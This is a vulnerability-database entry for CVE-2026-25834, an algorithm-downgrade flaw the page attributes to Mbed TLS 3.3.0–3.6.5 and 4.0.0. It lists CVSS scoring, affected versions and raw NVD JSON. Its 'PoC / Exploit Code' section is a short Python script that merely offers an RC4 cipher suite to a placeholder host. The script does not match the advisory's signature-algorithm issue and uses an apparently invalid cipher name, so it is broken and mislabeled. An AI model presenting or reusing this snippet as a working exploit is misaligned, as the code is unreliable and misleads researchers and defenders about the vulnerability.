Security Vulnerability Report
中文
CVE-2026-25834 CVSS 6.5 MEDIUM

CVE-2026-25834

Published: 2026-04-01 18:16:28
Last Modified: 2026-04-06 14:17:15

Description

Mbed TLS v3.3.0 up to 3.6.5 and 4.0.0 allows Algorithm Downgrade.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arm:mbed_tls:4.0.0:*:*:*:*:*:*:* - VULNERABLE
Mbed TLS v3.3.0 至 v3.6.5
Mbed TLS v4.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import ssl # This PoC demonstrates a concept of forcing a weak cipher suite # Targeting a server vulnerable to Algorithm Downgrade def check_weak_cipher(hostname, port): context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # Intentionally set weak ciphers to simulate downgrade context.set_ciphers('RSA-RC4-128-SHA:') try: with socket.create_connection((hostname, port)) as sock: with context.wrap_socket(sock, server_hostname=hostname) as ssock: print(f"[+] Connection established with weak cipher: {ssock.cipher()}") return True except Exception as e: print(f"[-] Failed to establish connection: {e}") return False if __name__ == "__main__": target_host = "example.com" # Replace with vulnerable target check_weak_cipher(target_host, 443)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25834", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:28.127", "lastModified": "2026-04-06T14:17:14.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mbed TLS v3.3.0 up to 3.6.5 and 4.0.0 allows Algorithm Downgrade."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}, {"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.6.6", "matchCriteriaId": "5E0C9952-60D6-4070-865B-3443A6A33A01"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8EF688FA-732F-4EAF-BAC6-AC3CDAF19588"}]}]}], "references": [{"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2026-03-sigalg-injection/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}